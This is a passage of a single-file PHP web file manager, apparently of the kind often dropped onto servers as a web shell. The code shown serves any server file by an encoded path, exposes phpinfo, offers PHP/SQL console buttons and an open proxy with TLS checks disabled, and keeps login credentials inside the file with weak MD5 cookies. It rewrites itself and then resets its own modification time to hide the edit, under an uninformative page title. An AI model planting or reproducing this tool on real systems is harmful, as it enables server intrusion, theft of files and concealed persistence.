012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/